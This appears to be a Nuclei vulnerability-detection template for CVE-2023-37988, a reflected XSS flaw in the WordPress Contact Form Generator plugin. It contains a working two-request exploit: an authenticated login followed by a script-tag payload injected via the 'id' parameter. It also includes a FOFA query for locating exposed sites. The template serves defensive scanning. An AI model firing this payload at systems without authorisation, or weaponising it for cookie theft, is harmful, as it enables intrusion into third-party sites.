Contact Form Generator <= 2.5.5 - Cross-Site Scripting

id: CVE-2023-37988

info:
  name: Contact Form Generator <= 2.5.5 - Cross-Site Scripting
  author: 0xr2r,vats147
  severity: medium
  description: |
    The Contact Form Generator plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'id' parameter in wp-admin/admin.php in versions up to, and including, 2.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the id parameter to steal WordPress administrator session cookies when they view crafted links.
  remediation: |
    Update to plugin version 2.5.6 or later.
  reference:
    - https://packetstorm.news/files/id/174896
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37988
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-37988
    epss-score: 0.01231
    epss-percentile: 0.65346
    cwe-id: CWE-79
    cpe: cpe:2.3:a:creative-solutions:contact_form_generator:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: creative-solutions
    product: contact-form-generator
    fofa-query: body="/wp-content/plugins/contact-form-generator"
  tags: cve,cve2023,wordpress,wp,wp-plugin,xss,contact-form-generator,authenticated,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=contact_form_generator&id=1%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "<script>alert(document.domain)</script>"
          - "contact_form_generator"
        condition: and

      - type: word
        part: content_type_2
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100eee20fe6a7c5ccfcd8363d99d3a79387f01a34666dadef166fa0b8545641b68e02201052d1914a609c1aa7c810db62c0f5526411d1078258664fc0ea88b35e837a3f:922c64590222798bb761d5b6d8e72950